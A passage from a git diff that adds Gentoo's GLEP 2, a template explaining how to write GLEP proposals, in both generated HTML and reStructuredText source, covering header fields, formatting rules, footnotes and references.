+doubt, read GLEP 1 for details or contact the GLEP editors &lt;<a class="reference" href="mailto:glep&#64;gentoo.org">glep&#64;gentoo.org</a>&gt;.</p>
+<p>Once you've decided which type of GLEP yours is going to be, follow the
+directions below.</p>
+<ul>
+<li><p class="first">Make a copy of this file (<tt class="docutils literal"><span class="pre">.txt</span></tt> file, <strong>not</strong> HTML!) and perform
+the following edits.</p>
+</li>
+<li><p class="first">Replace the &quot;GLEP: 2&quot; header with &quot;GLEP: XXX&quot; since you don't yet have
+a GLEP number assignment.</p>
+</li>
+<li><p class="first">Change the Title header to the title of your GLEP.</p>
+</li>
+<li><p class="first">Leave the Version and Last-Modified headers alone; we'll take care
+of those when we check your GLEP into CVS.</p>
+</li>
+<li><p class="first">Change the Author header to include your name, and optionally your
+email address.  Be sure to follow the format carefully: your name must
+appear first, and it must not be contained in parentheses.  Your email
+address may appear second (or it can be omitted) and if it appears, it must
+appear in angle brackets.  Your e-mail address
+here will e automatically obfuscated.</p>
+</li>
+<li><p class="first">If there is a forum thread or a mailing list for discussion
+of your new feature, add a Discussions-To header right after the Author
+header.  You should not add a Discussions-To header if the mailing list to
+be used is <a class="reference" href="mailto:gentoo-dev&#64;gentoo.org">gentoo-dev&#64;gentoo.org</a>, or if discussions should be sent to you
+directly.  Most Informational GLEPs don't have a Discussions-To header.</p>
+</li>
+<li><p class="first">Change the Status header to &quot;Draft&quot;.</p>
+</li>
+<li><p class="first">For Standards Track GLEPs, change the Type header to &quot;Standards
+Track&quot;.</p>
+</li>
+<li><p class="first">For Informational GLEPs, change the Type header to &quot;Informational&quot;.</p>
+</li>
+<li><p class="first">For Standards Track GLEPs, if your feature depends on the acceptance
+of some other currently in-development GLEP, add a Requires header right
+after the Type header.  The value should be the GLEP number of the GLEP
+yours depends on.  Don't add this header if your dependent feature is
+described in a Final GLEP.</p>
+</li>
+<li><p class="first">Change the Created header to today's date.  Be sure to follow the
+format carefully: it must be in <tt class="docutils literal"><span class="pre">dd-mmm-yyyy</span></tt> format, where the <tt class="docutils literal"><span class="pre">mmm</span></tt> is
+the 3 English letter month abbreviation, i.e. one of Jan, Feb, Mar, Apr,
+May, Jun, Jul, Aug, Sep, Oct, Nov, Dec.</p>
+</li>
+<li><p class="first">Leave Post-History alone for now; you'll add dates to this header
+each time you post your GLEP to <a class="reference" href="mailto:gentoo-dev&#64;gentoo.org">gentoo-dev&#64;gentoo.org</a>.  If you posted your
+GLEP to the list on August 14, 2003 and September 3, 2003, the Post-History
+header would look like:</p>
+<pre class="literal-block">
+Post-History: 14-Aug-2003, 03-Sept-2003
+</pre>
+<p>You must manually add new dates and check them in.  If you don't have
+check-in privileges, send your changes to the GLEP editors.</p>
+</li>
+<li><p class="first">Add a Replaces header if your GLEP obsoletes an earlier GLEP.  The
+value of this header is the number of the GLEP that your new GLEP is
+replacing.  Only add this header if the older GLEP is in &quot;final&quot; form, i.e.
+is either Accepted, Final, or Rejected.  You aren't replacing an older open
+GLEP if you're submitting a competing idea.</p>
+</li>
+<li><p class="first">Now write your Abstract, Rationale, and other content for your GLEP,
+replacing all of this gobbledygook with your own text. Be sure to adhere to
+the format guidelines below, specifically on the indentation requirements.</p>
+</li>
+<li><p class="first">Update your References and Copyright section.  Usually you'll place
+your GLEP into the public domain, in which case just leave the Copyright
+section alone.  Alternatively, you can use the <a class="reference" href="http://www.opencontent.org/openpub/">Open Publication License</a> <a class="footnote-reference" href="#id15" id="id16" name="id16">[7]</a>,
+but public domain is still strongly preferred.</p>
+</li>
+<li><p class="first">Send your GLEP submission to the GLEP editors at <a class="reference" href="mailto:glep&#64;gentoo.org">glep&#64;gentoo.org</a>.</p>
+</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id29" id="restructuredtext-glep-formatting-requirements" name="restructuredtext-glep-formatting-requirements">ReStructuredText GLEP Formatting Requirements</a></h1>
+<p>The following is a GLEP-specific summary of reStructuredText syntax.  For the
+sake of simplicity and brevity, much detail is omitted.  For more detail, see
+<a class="reference" href="#resources">Resources</a> below.  <a class="reference" href="#literal-blocks">Literal blocks</a> (in which no markup processing is done)
+are used for examples throughout, to illustrate the plaintext markup.</p>
+<div class="section">
+<h2><a class="toc-backref" href="#id30" id="general" name="general">General</a></h2>
+<p>You must adhere to the convention of adding two spaces at the end of every
+sentence.  You should fill your paragraphs to column 70, but under no
+circumstances should your lines extend past column 79.  If your code samples
+spill over column 79, you should rewrite them.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id31" id="section-headings" name="section-headings">Section Headings</a></h2>
+<p>GLEP headings must begin in column zero and the initial letter of each word
+must be capitalized as in book titles.  Acronyms should be in all capitals.
+Section titles must be adorned with an underline, a single repeated
+punctuation character, which begins in column zero and must extend at least as
+far as the right edge of the title text (4 characters minimum).  First-level
+section titles are underlined with &quot;=&quot; (equals signs), second-level section
+titles with &quot;-&quot; (hyphens), and third-level section titles with &quot;'&quot; (single
+quotes or apostrophes).  For example:</p>
+<pre class="literal-block">
+First-Level Title
+=================
+
+Second-Level Title
+------------------
+
+Third-Level Title
+'''''''''''''''''
+</pre>
+<p>If there are more than three levels of sections in your GLEP, you may insert
+overline/underline-adorned titles for the first and second levels as follows:</p>
+<pre class="literal-block">
+============================
+First-Level Title (optional)
+============================
+
+-----------------------------
+Second-Level Title (optional)
+-----------------------------
+
+Third-Level Title
+=================
+
+Fourth-Level Title
+------------------
+
+Fifth-Level Title
+'''''''''''''''''
+</pre>
+<p>You shouldn't have more than five levels of sections in your GLEP.  If you do,
+you should consider rewriting it.</p>
+<p>You must use two blank lines between the last line of a section's body and the
+next section heading.  If a subsection heading immediately follows a section
+heading, a single blank line in-between is sufficient.</p>
+<p>The body of each section is not normally indented, although some constructs do
+use indentation, as described below.  Blank lines are used to separate
+constructs.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id32" id="paragraphs" name="paragraphs">Paragraphs</a></h2>
+<p>Paragraphs are left-aligned text blocks separated by blank lines.  Paragraphs
+are not indented unless they are part of an indented construct (such as a
+block quote or a list item).</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id33" id="inline-markup" name="inline-markup">Inline Markup</a></h2>
+<p>Portions of text within paragraphs and other text blocks may be
+styled.  For example:</p>
+<pre class="literal-block">
+Text may be marked as *emphasized* (single asterisk markup,
+typically shown in italics) or **strongly emphasized** (double
+asterisks, typically boldface).  ``Inline literals`` (using double
+backquotes) are typically rendered in a monospaced typeface.  No
+further markup recognition is done within the double backquotes,
+so they're safe for any kind of code snippets.
+</pre>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id34" id="block-quotes" name="block-quotes">Block Quotes</a></h2>
+<p>Block quotes consist of indented body elements.  For example:</p>
+<pre class="literal-block">
+This is a paragraph.
+
+    This is a block quote.
+
+    A block quote may contain many paragraphs.
+</pre>
+<p>Block quotes are used to quote extended passages from other sources.
+Block quotes may be nested inside other body elements.  Use a 4-space tab
+per indent level.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id35" id="literal-blocks" name="literal-blocks">Literal Blocks</a></h2>
+<!-- In the text below, double backquotes are used to denote inline
+literals.  "``::``" is written so that the colons will appear in a
+monospaced font; the backquotes (``) are markup, not part of the
+text.  See "Inline Markup" above.
+
+By the way, this is a comment, described in "Comments" below. -->
+<p>Literal blocks are used for code samples or preformatted ASCII art. To
+indicate a literal block, preface the indented text block with
+&quot;<tt class="docutils literal"><span class="pre">::</span></tt>&quot; (two colons).  The literal block continues until the end of
+the indentation.  Indent the text block by a tab.  For example:</p>
+<pre class="literal-block">
+This is a typical paragraph.  A literal block follows.
+
+::
+
+    for a in [5,4,3,2,1]:   # this is program code, shown as-is
+        print a
+    print &quot;it's...&quot;
+    # a literal block continues until the indentation ends
+</pre>
+<p>The paragraph containing only &quot;<tt class="docutils literal"><span class="pre">::</span></tt>&quot; will be completely removed from
+the output; no empty paragraph will remain.  &quot;<tt class="docutils literal"><span class="pre">::</span></tt>&quot; is also
+recognized at the end of any paragraph.  If immediately preceded by
+whitespace, both colons will be removed from the output.  When text
+immediately precedes the &quot;<tt class="docutils literal"><span class="pre">::</span></tt>&quot;, <em>one</em> colon will be removed from
+the output, leaving only one colon visible (i.e., &quot;<tt class="docutils literal"><span class="pre">::</span></tt>&quot; will be
+replaced by &quot;<tt class="docutils literal"><span class="pre">:</span></tt>&quot;).  For example, one colon will remain visible
+here:</p>
+<pre class="literal-block">
+Paragraph::
+
+    Literal block
+</pre>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id36" id="lists" name="lists">Lists</a></h2>
+<p>Bullet list items begin with one of &quot;-&quot;, &quot;*&quot;, or &quot;+&quot; (hyphen,
+asterisk, or plus sign), followed by whitespace and the list item
+body.  List item bodies must be left-aligned and indented relative to
+the bullet; the text immediately after the bullet determines the
+indentation.  For example:</p>
+<pre class="literal-block">
+This paragraph is followed by a list.
+
+* This is the first bullet list item.  The blank line above the
+  first list item is required; blank lines between list items
+  (such as below this paragraph) are optional.
+
+* This is the first paragraph in the second item in the list.
+
+  This is the second paragraph in the second item in the list.
+  The blank line above this paragraph is required.  The left edge
+  of this paragraph lines up with the paragraph above, both
+  indented relative to the bullet.
+
+  - This is a sublist.  The bullet lines up with the left edge of
+    the text blocks above.  A sublist is a new list so requires a
+    blank line above and below.
+
+* This is the third item of the main list.
+
+This paragraph is not part of the list.
+</pre>
+<p>Enumerated (numbered) list items are similar, but use an enumerator
+instead of a bullet.  Enumerators are numbers (1, 2, 3, ...), letters
+(A, B, C, ...; uppercase or lowercase), or Roman numerals (i, ii, iii,
+iv, ...; uppercase or lowercase), formatted with a period suffix
+(&quot;1.&quot;, &quot;2.&quot;), parentheses (&quot;(1)&quot;, &quot;(2)&quot;), or a right-parenthesis
+suffix (&quot;1)&quot;, &quot;2)&quot;).  For example:</p>
+<pre class="literal-block">
+1. As with bullet list items, the left edge of paragraphs must
+   align.
+
+2. Each list item may contain multiple paragraphs, sublists, etc.
+
+   This is the second paragraph of the second list item.
+
+   a) Enumerated lists may be nested.
+   b) Blank lines may be omitted between list items.
+</pre>
+<p>Definition lists are written like this:</p>
+<pre class="literal-block">
+what
+    Definition lists associate a term with a definition.
+
+how
+    The term is a one-line phrase, and the definition is one
+    or more paragraphs or body elements, indented relative to
+    the term.
+</pre>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id37" id="tables" name="tables">Tables</a></h2>
+<p>Simple tables are easy and compact:</p>
+<pre class="literal-block">
+=====  =====  =======
+  A      B    A and B
+=====  =====  =======
+False  False  False
+True   False  False
+False  True   False
+True   True   True
+=====  =====  =======
+</pre>
+<p>There must be at least two columns in a table (to differentiate from
+section titles).  Column spans use underlines of hyphens (&quot;Inputs&quot;
+spans the first two columns):</p>
+<pre class="literal-block">
+=====  =====  ======
+   Inputs     Output
+------------  ------
+  A      B    A or B
+=====  =====  ======
+False  False  False
+True   False  True
+False  True   True
+True   True   True
+=====  =====  ======
+</pre>
+<p>Text in a first-column cell starts a new row.  No text in the first
+column indicates a continuation line; the rest of the cells may
+consist of multiple lines.  For example:</p>
+<pre class="literal-block">
+=====  =========================
+col 1  col 2
+=====  =========================
+1      Second column of row 1.
+2      Second column of row 2.
+       Second line of paragraph.
+3      - Second column of row 3.
+
+       - Second item in bullet
+         list (row 3, column 2).
+=====  =========================
+</pre>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id38" id="hyperlinks" name="hyperlinks">Hyperlinks</a></h2>
+<p>When referencing an external web page in the body of a GLEP, you should
+include the title of the page in the text, with either an inline
+hyperlink reference to the URL or a footnote reference (see
+<a class="reference" href="#footnotes">Footnotes</a> below).  Do not include the URL in the body text of the
+GLEP.</p>
+<p>Hyperlink references use backquotes and a trailing underscore to mark
+up the reference text; backquotes are optional if the reference text
+is a single word.  For example:</p>
+<pre class="literal-block">
+In this paragraph, we refer to the `Python web site`_.
+</pre>
+<p>An explicit target provides the URL.  Put targets in a References
+section at the end of the GLEP, or immediately after the reference.
+Hyperlink targets begin with two periods and a space (the &quot;explicit
+markup start&quot;), followed by a leading underscore, the reference text,
+a colon, and the URL (absolute or relative):</p>
+<pre class="literal-block">
+.. _Python web site: http://www.python.org/
+</pre>
+<p>The reference text and the target text must match (although the match
+is case-insensitive and ignores differences in whitespace).  Note that
+the underscore trails the reference text but precedes the target text.
+If you think of the underscore as a right-pointing arrow, it points
+<em>away</em> from the reference and <em>toward</em> the target.</p>
+<p>The same mechanism can be used for internal references.  Every unique
+section title implicitly defines an internal hyperlink target.  We can
+make a link to the Abstract section like this:</p>
+<pre class="literal-block">
+Here is a hyperlink reference to the `Abstract`_ section.  The
+backquotes are optional since the reference text is a single word;
+we can also just write: Abstract_.
+</pre>
+<p>Footnotes containing the URLs from external targets will be generated
+automatically at the end of the References section of the GLEP, along
+with footnote references linking the reference text to the footnotes.</p>
+<p>Text of the form &quot;GLEP x&quot; or &quot;RFC x&quot; (where &quot;x&quot; is a number) will be
+linked automatically to the appropriate URLs.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id39" id="footnotes" name="footnotes">Footnotes</a></h2>
+<p>Footnote references consist of a left square bracket, a number, a
+right square bracket, and a trailing underscore:</p>
+<pre class="literal-block">
+This sentence ends with a footnote reference [1]_.
+</pre>
+<p>Whitespace must precede the footnote reference.  Leave a space between
+the footnote reference and the preceding word.</p>
+<p>When referring to another GLEP, include the GLEP number in the body
+text, such as &quot;GLEP 1&quot;.  The title may optionally appear.  Add a
+footnote reference following the title.  For example:</p>
+<pre class="literal-block">
+Refer to GLEP 1 [2]_ for more information.
+</pre>
+<p>Add a footnote that includes the GLEP's title and author.  It may
+optionally include the explicit URL on a separate line, but only in
+the References section.  Footnotes begin with &quot;.. &quot; (the explicit
+markup start), followed by the footnote marker (no underscores),
+followed by the footnote body.  For example:</p>
+<pre class="literal-block">
+References
+==========
+
+.. [2] GLEP 1, &quot;GLEP Purpose and Guidelines&quot;, Goodyear, Warsaw, Hylton
+   (http://glep.gentoo.org/glep-0001.html)
+</pre>
+<p>If you decide to provide an explicit URL for a GLEP, please use this as
+the URL template:</p>
+<pre class="literal-block">
+http://glep.gentoo.org/glep-xxxx.html
+</pre>
+<p>GLEP numbers in URLs must be padded with zeros from the left, so as to
+be exactly 4 characters wide, however GLEP numbers in the text are
+never padded.</p>
+<p>During the course of developing your GLEP, you may have to add, remove,
+and rearrange footnote references, possibly resulting in mismatched
+references, obsolete footnotes, and confusion.  Auto-numbered
+footnotes allow more freedom.  Instead of a number, use a label of the
+form &quot;#word&quot;, where &quot;word&quot; is a mnemonic consisting of alphanumerics
+plus internal hyphens, underscores, and periods (no whitespace or
+other characters are allowed).  For example:</p>
+<pre class="literal-block">
+Refer to GLEP 1 [#GLEP-1]_ for more information.
+
+References
+==========
+
+.. [#GLEP-1] GLEP 1, &quot;GLEP Purpose and Guidelines&quot;, Goodyear
+   http://glep.gentoo.org/glep-0001.html
+</pre>
+<p>Footnotes and footnote references will be numbered automatically, and
+the numbers will always match.  Once a GLEP is finalized, auto-numbered
+labels should be replaced by numbers for simplicity.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id40" id="images" name="images">Images</a></h2>
+<p>If your GLEP contains a diagram, you may include it in the processed
+output using the &quot;image&quot; directive:</p>
+<pre class="literal-block">
+.. image:: diagram.png
+</pre>
+<p>Any browser-friendly graphics format is possible: .png, .jpeg, .gif,
+.tiff, etc.</p>
+<p>Since this image will not be visible to readers of the GLEP in source
+text form, you should consider including a description or ASCII art
+alternative, using a comment (below).</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id41" id="comments" name="comments">Comments</a></h2>
+<p>A comment block is an indented block of arbitrary text immediately
+following an explicit markup start: two periods and whitespace.  Leave
+the &quot;..&quot; on a line by itself to ensure that the comment is not
+misinterpreted as another explicit markup construct.  Comments are not
+visible in the processed document.  For the benefit of those reading
+your GLEP in source form, please consider including a descriptions of
+or ASCII art alternatives to any images you include.  For example:</p>
+<pre class="literal-block">
+.. image:: dataflow.png
+
+..
+   Data flows from the input module, through the &quot;black box&quot;
+   module, and finally into (and through) the output module.
+</pre>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id42" id="escaping-mechanism" name="escaping-mechanism">Escaping Mechanism</a></h2>
+<p>reStructuredText uses backslashes (&quot;<tt class="docutils literal"><span class="pre">\</span></tt>&quot;) to override the special
+meaning given to markup characters and get the literal characters
+themselves.  To get a literal backslash, use an escaped backslash
+(&quot;<tt class="docutils literal"><span class="pre">\\</span></tt>&quot;).  There are two contexts in which backslashes have no
+special meaning: <a class="reference" href="#literal-blocks">literal blocks</a> and inline literals (see <a class="reference" href="#inline-markup">Inline
+Markup</a> above).  In these contexts, no markup recognition is done,
+and a single backslash represents a literal backslash, without having
+to double up.</p>
+<p>If you find that you need to use a backslash in your text, consider
+using inline literals or a literal block instead.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id43" id="habits-to-avoid" name="habits-to-avoid">Habits to Avoid</a></h1>
+<p>Many programmers who are familiar with TeX often write quotation marks
+like this:</p>
+<pre class="literal-block">
+`single-quoted' or ``double-quoted''
+</pre>
+<p>Backquotes are significant in reStructuredText, so this practice
+should be avoided.  For ordinary text, use ordinary 'single-quotes' or
+&quot;double-quotes&quot;.  For inline literal text (see <a class="reference" href="#inline-markup">Inline Markup</a>
+above), use double-backquotes:</p>
+<pre class="literal-block">
+``literal text: in here, anything goes!``
+</pre>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id44" id="resources" name="resources">Resources</a></h1>
+<p>Many other constructs and variations are possible.  For more details
+about the reStructuredText markup, in increasing order of
+thoroughness, please see:</p>
+<ul class="simple">
+<li><a class="reference" href="http://docutils.sourceforge.net/docs/rst/quickstart.html">A ReStructuredText Primer</a> <a class="footnote-reference" href="#id17" id="id18" name="id18">[8]</a>, a gentle introduction.</li>
+<li><a class="reference" href="http://docutils.sourceforge.net/docs/rst/quickref.html">Quick reStructuredText</a> <a class="footnote-reference" href="#id19" id="id20" name="id20">[9]</a>, a users' quick reference.</li>
+<li><a class="reference" href="http://docutils.sourceforge.net/spec/rst/reStructuredText.html">reStructuredText Markup Specification</a> <a class="footnote-reference" href="#id21" id="id22" name="id22">[10]</a>, the final authority.</li>
+</ul>
+<p>The processing of reStructuredText GLEPs is done using <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> <a class="footnote-reference" href="#id8" id="id9" name="id9">[4]</a>.  If
+you have a question or require assistance with reStructuredText or
+Docutils, please <a class="reference" href="mailto:docutils-users&#64;lists.sourceforge.net?subject=GLEPs">post a message</a> <a class="footnote-reference" href="#id10" id="id11" name="id11">[5]</a> to the <a class="reference" href="http://lists.sourceforge.net/lists/listinfo/docutils-users">Docutils-Users mailing
+list</a> <a class="footnote-reference" href="#id12" id="id13" name="id13">[6]</a>.  The <a class="reference" href="http://docutils.sourceforge.net/">Docutils project web site</a> <a class="footnote-reference" href="#id8" id="id14" name="id14">[4]</a> has more information.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id45" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="python" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="python">[1]</a></td><td><a class="reference" href="http://www.python.org">http://www.python.org</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="pep12" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="pep12">[2]</a></td><td><a class="reference" href="http://www.python.org/peps/pep-0012.html">http://www.python.org/peps/pep-0012.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="glep1" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="glep1">[3]</a></td><td>GLEP 1, GLEP Purpose and Guidelines, Goodyear,
+(<a class="reference" href="http://glep.gentoo.org/glep-0001.html">http://glep.gentoo.org/glep-0001.html</a>)</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id8" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="id8">[4]</a></td><td><em>(<a class="fn-backref" href="#id9">1</a>, <a class="fn-backref" href="#id14">2</a>)</em> <a class="reference" href="http://docutils.sourceforge.net/">http://docutils.sourceforge.net/</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id10" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id11" name="id10">[5]</a></td><td><a class="reference" href="mailto:docutils-users&#64;lists.sourceforge.net?subject=GLEPs">mailto:docutils-users&#64;lists.sourceforge.net?subject=GLEPs</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id12" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id13" name="id12">[6]</a></td><td><a class="reference" href="http://lists.sourceforge.net/lists/listinfo/docutils-users">http://lists.sourceforge.net/lists/listinfo/docutils-users</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id15" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id16" name="id15">[7]</a></td><td><a class="reference" href="http://www.opencontent.org/openpub/">http://www.opencontent.org/openpub/</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id17" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id18" name="id17">[8]</a></td><td><a class="reference" href="http://docutils.sourceforge.net/docs/rst/quickstart.html">http://docutils.sourceforge.net/docs/rst/quickstart.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id19" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id20" name="id19">[9]</a></td><td><a class="reference" href="http://docutils.sourceforge.net/docs/rst/quickref.html">http://docutils.sourceforge.net/docs/rst/quickref.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id21" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id22" name="id21">[10]</a></td><td><a class="reference" href="http://docutils.sourceforge.net/spec/rst/reStructuredText.html">http://docutils.sourceforge.net/spec/rst/reStructuredText.html</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id46" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0002.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0002.txt b/xml/htdocs/proj/en/glep/glep-0002.txt
new file mode 100644
index 00000000..95bf2859
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0002.txt
@@ -0,0 +1,616 @@
+GLEP: 2
+Title: Sample ReStructuredText GLEP Template
+Version: $Revision: 1.4 $
+Last-Modified: $Date: 2003/07/19 12:09:20 $
+Author:	Grant Goodyear <g2boojum@gentoo.org>,
+Status: Active
+Type: Informational
+Content-Type: text/x-rst
+Created: 31 May 2003
+Post-History: 2-Jun-2003
+
+
+Credits
+=======
+
+The text of this GLEP was, to a significant extent, stolen from Python's
+[#PYTHON]_ PEP-0012 [#PEP12]_ by David Goodger and Barry A. Warsaw.
+
+
+Abstract
+========
+
+This GLEP provides a boilerplate or sample template for creating your own
+reStructuredText GLEPs.  In conjunction with the content guidelines in GLEP 1
+[#GLEP1]_, this should make it easy for you to conform your own GLEPs to the
+format outlined below.
+
+Note: if you are reading this GLEP via the web, you should first grab the text
+(reStructuredText) source of this GLEP in order to complete the steps below.
+**DO NOT USE THE HTML FILE AS YOUR TEMPLATE!**
+
+To get the source of this (or any) GLEP, look at the top of the HTML page and
+click on the link titled "GLEP Source".
+
+Motivation
+==========
+
+Provide adequate motivation here.  In this particular case, we need to provide
+people with the information necessary to submit GLEPs in the proper form.
+
+Rationale
+=========
+
+GLEP submissions come in a wide variety of forms, not all adhering to the
+format guidelines set forth below.  Use this template, in conjunction with the
+format guidelines below, to ensure that your GLEP submission won't get
+automatically rejected because of form.
+
+ReStructuredText is used to allow GLEP authors more functionality and
+expressivity, while maintaining easy readability in the source text.  The
+processed HTML form makes the functionality accessible to readers: live
+hyperlinks, styled text, tables, images, and automatic tables of contents,
+among other advantages.  
+
+
+Backwards Compatibility
+=======================
+
+Not a problem for this GLEP.  This section should be included *even* when it
+is only to state that there are no backwards compatibility issues.
+
+
+How to Use This Template
+========================
+
+To use this template you must first decide whether your GLEP is going to be an
+Informational or Standards Track GLEP.  Most GLEPs are Standards Track because
+they propose new functionality for some aspect of Gentoo Linux.  When in
+doubt, read GLEP 1 for details or contact the GLEP editors <glep@gentoo.org>.
+
+Once you've decided which type of GLEP yours is going to be, follow the
+directions below.
+
+- Make a copy of this file (``.txt`` file, **not** HTML!) and perform
+  the following edits.
+
+- Replace the "GLEP: 2" header with "GLEP: XXX" since you don't yet have
+  a GLEP number assignment.
+
+- Change the Title header to the title of your GLEP.
+
+- Leave the Version and Last-Modified headers alone; we'll take care
+  of those when we check your GLEP into CVS.
+
+- Change the Author header to include your name, and optionally your
+  email address.  Be sure to follow the format carefully: your name must
+  appear first, and it must not be contained in parentheses.  Your email
+  address may appear second (or it can be omitted) and if it appears, it must
+  appear in angle brackets.  Your e-mail address
+  here will e automatically obfuscated.
+
+- If there is a forum thread or a mailing list for discussion 
+  of your new feature, add a Discussions-To header right after the Author
+  header.  You should not add a Discussions-To header if the mailing list to
+  be used is gentoo-dev@gentoo.org, or if discussions should be sent to you
+  directly.  Most Informational GLEPs don't have a Discussions-To header.
+
+- Change the Status header to "Draft".
+
+- For Standards Track GLEPs, change the Type header to "Standards
+  Track".
+
+- For Informational GLEPs, change the Type header to "Informational".
+
+- For Standards Track GLEPs, if your feature depends on the acceptance
+  of some other currently in-development GLEP, add a Requires header right
+  after the Type header.  The value should be the GLEP number of the GLEP
+  yours depends on.  Don't add this header if your dependent feature is
+  described in a Final GLEP.
+
+- Change the Created header to today's date.  Be sure to follow the
+  format carefully: it must be in ``dd-mmm-yyyy`` format, where the ``mmm`` is
+  the 3 English letter month abbreviation, i.e. one of Jan, Feb, Mar, Apr,
+  May, Jun, Jul, Aug, Sep, Oct, Nov, Dec.
+
+- Leave Post-History alone for now; you'll add dates to this header
+  each time you post your GLEP to gentoo-dev@gentoo.org.  If you posted your
+  GLEP to the list on August 14, 2003 and September 3, 2003, the Post-History
+  header would look like::
+
+      Post-History: 14-Aug-2003, 03-Sept-2003
+
+  You must manually add new dates and check them in.  If you don't have
+  check-in privileges, send your changes to the GLEP editors.
+
+- Add a Replaces header if your GLEP obsoletes an earlier GLEP.  The
+  value of this header is the number of the GLEP that your new GLEP is
+  replacing.  Only add this header if the older GLEP is in "final" form, i.e.
+  is either Accepted, Final, or Rejected.  You aren't replacing an older open
+  GLEP if you're submitting a competing idea.
+
+- Now write your Abstract, Rationale, and other content for your GLEP,
+  replacing all of this gobbledygook with your own text. Be sure to adhere to
+  the format guidelines below, specifically on the indentation requirements.
+
+- Update your References and Copyright section.  Usually you'll place
+  your GLEP into the public domain, in which case just leave the Copyright
+  section alone.  Alternatively, you can use the `Open Publication License`__,
+  but public domain is still strongly preferred.
+
+  __ http://www.opencontent.org/openpub/
+
+- Send your GLEP submission to the GLEP editors at glep@gentoo.org.
+
+
+ReStructuredText GLEP Formatting Requirements
+=============================================
+
+The following is a GLEP-specific summary of reStructuredText syntax.  For the
+sake of simplicity and brevity, much detail is omitted.  For more detail, see
+`Resources`_ below.  `Literal blocks`_ (in which no markup processing is done)
+are used for examples throughout, to illustrate the plaintext markup.
+
+
+General
+-------
+
+You must adhere to the convention of adding two spaces at the end of every
+sentence.  You should fill your paragraphs to column 70, but under no
+circumstances should your lines extend past column 79.  If your code samples
+spill over column 79, you should rewrite them.
+
+
+Section Headings
+----------------
+
+GLEP headings must begin in column zero and the initial letter of each word
+must be capitalized as in book titles.  Acronyms should be in all capitals.
+Section titles must be adorned with an underline, a single repeated
+punctuation character, which begins in column zero and must extend at least as
+far as the right edge of the title text (4 characters minimum).  First-level
+section titles are underlined with "=" (equals signs), second-level section
+titles with "-" (hyphens), and third-level section titles with "'" (single
+quotes or apostrophes).  For example::
+
+    First-Level Title
+    =================
+
+    Second-Level Title
+    ------------------
+
+    Third-Level Title
+    '''''''''''''''''
+
+If there are more than three levels of sections in your GLEP, you may insert
+overline/underline-adorned titles for the first and second levels as follows::
+
+    ============================
+    First-Level Title (optional)
+    ============================
+
+    -----------------------------
+    Second-Level Title (optional)
+    -----------------------------
+
+    Third-Level Title
+    =================
+
+    Fourth-Level Title
+    ------------------
+
+    Fifth-Level Title
+    '''''''''''''''''
+
+You shouldn't have more than five levels of sections in your GLEP.  If you do,
+you should consider rewriting it.
+
+You must use two blank lines between the last line of a section's body and the
+next section heading.  If a subsection heading immediately follows a section
+heading, a single blank line in-between is sufficient.
+
+The body of each section is not normally indented, although some constructs do
+use indentation, as described below.  Blank lines are used to separate
